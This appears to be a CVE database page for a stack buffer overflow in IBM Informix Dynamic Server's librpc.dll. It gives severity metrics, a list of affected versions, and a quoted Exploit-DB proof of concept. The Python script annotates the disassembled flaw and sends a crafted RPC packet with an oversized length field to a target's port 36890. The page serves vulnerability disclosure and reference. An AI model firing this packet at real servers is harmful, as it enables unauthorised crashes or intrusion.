Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 12109
Publication date : 2010-04-07 22h00 +00:00
Author : ZSploit.com
EDB Verified : Yes
# Exploit Title: ZDI-10-023: Multiple Vendor librpc.dll Signedness Error Remote Code Execution Vulnerability
# Date: 2010-04-08
# Author: ZSploit.com
# Software Link: N/A
# Version: N/A
# Tested on: IBM Informix Dynamic Server 10.0
# CVE : CVE-2009-2754
#! /usr/bin/env python
###############################################################################
## File : zs_ids_rpc.py
## Description:
## :
## Created_On : Mar 21 2010
##
## (c) Copyright 2010, ZSploit.com. all rights reserved.
###############################################################################
"""
The issue in __lgto_svcauth_unix():
.text:1000B8E1 mov [ebp+0], eax
.text:1000B8E4 mov eax, [ebx]
.text:1000B8E6 push eax ; netlong
.text:1000B8E7 add ebx, 4
.text:1000B8EA call esi ; ntohl ; Get length of hostname
.text:1000B8EC cmp eax, 0FFh ; Signedness error, if we give 0xffffffff(-1) will pass this check
.text:1000B8F1 jle short loc_1000B8FD
.text:1000B8F3 mov esi, 1
.text:1000B8F8 jmp loc_1000B9D5
.text:1000B8FD ; ---------------------------------------------------------------------------
.text:1000B8FD
.text:1000B8FD loc_1000B8FD: ; CODE XREF: __lgto_svcauth_unix+71j
.text:1000B8FD mov edi, [ebp+4]
.text:1000B900 mov ecx, eax
.text:1000B902 mov edx, ecx
.text:1000B904 mov esi, ebx
.text:1000B906 shr ecx, 2
.text:1000B909 rep movsd ; call memcpy here with user-supplied size cause a stack overflow
.text:1000B90B mov ecx, edx
.text:1000B90D add eax, 3
.text:1000B910 and ecx, 3
.text:1000B913 rep movsb
"""
import sys
import socket
if (len(sys.argv) != 2):
print "Usage:\t%s [target]" % sys.argv[0]
sys.exit(0)
data = "\x80\x00\x00\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02" \
"\x00\x01\x86\xb1\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01" \
"\x00\x00\x00\x4c\x00\x00\xd6\x45\xff\xff\xff\xff\x41\x41\x41\x41" \
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x0a\x42\x42\x42\x42\x42\x42\x42\x42" \
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" \
"\x00\x00\x00\x00\x00\x00\x00\x00"
host = sys.argv[1]
port = 36890
print "PoC for ZDI-10-023 by ZSploit.com"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(data)
print "Sending payload .."
except:
print "Error in send"
print "Done"
except:
print "Error in socket"
The ZSploit Team
http://zsploit.com
Products Mentioned
Configuraton 0
Ibm>>Informix_dynamic_server >> Version 10.0
Ibm>>Informix_dynamic_server >> Version 10.0.tc1
Ibm>>Informix_dynamic_server >> Version 10.0.xc1
Ibm>>Informix_dynamic_server >> Version 10.0.xc2e
Ibm>>Informix_dynamic_server >> Version 10.0.xc3
Ibm>>Informix_dynamic_server >> Version 10.0.xc3e
Ibm>>Informix_dynamic_server >> Version 10.0.xc4
Ibm>>Informix_dynamic_server >> Version 10.0.xc4e
Ibm>>Informix_dynamic_server >> Version 10.0.xc5
Ibm>>Informix_dynamic_server >> Version 10.0.xc5e
Ibm>>Informix_dynamic_server >> Version 10.0.xc6
Ibm>>Informix_dynamic_server >> Version 10.0.xc6e
Ibm>>Informix_dynamic_server >> Version 10.0.xc7
Ibm>>Informix_dynamic_server >> Version 10.0.xc7e
Ibm>>Informix_dynamic_server >> Version 10.0.xc8
Ibm>>Informix_dynamic_server >> Version 10.0.xc8e
Ibm>>Informix_dynamic_server >> Version 10.0.xc9
Ibm>>Informix_dynamic_server >> Version 10.0.xc9e
Ibm>>Informix_dynamic_server >> Version 10.0.xc10
Ibm>>Informix_dynamic_server >> Version 10.0.xc10e
Ibm>>Informix_dynamic_server >> Version 11.1
Ibm>>Informix_dynamic_server >> Version 11.10
Ibm>>Informix_dynamic_server >> Version 11.10.xc1
Ibm>>Informix_dynamic_server >> Version 11.10.xc1de
Ibm>>Informix_dynamic_server >> Version 11.10.xc2
Ibm>>Informix_dynamic_server >> Version 11.10.xc2e
Ibm>>Informix_dynamic_server >> Version 11.10.xc3
Ibm>>Informix_dynamic_server >> Version 11.10.xc3e
References